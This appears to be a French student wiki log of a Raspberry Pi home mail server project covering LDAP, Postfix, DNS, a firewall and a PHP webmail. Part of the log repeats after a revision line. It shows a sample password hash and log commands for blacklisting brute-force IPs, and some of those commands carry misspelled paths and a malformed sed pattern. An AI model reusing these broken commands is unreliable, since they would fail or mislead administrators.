☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.

===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2016-02-02T12:31:39Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

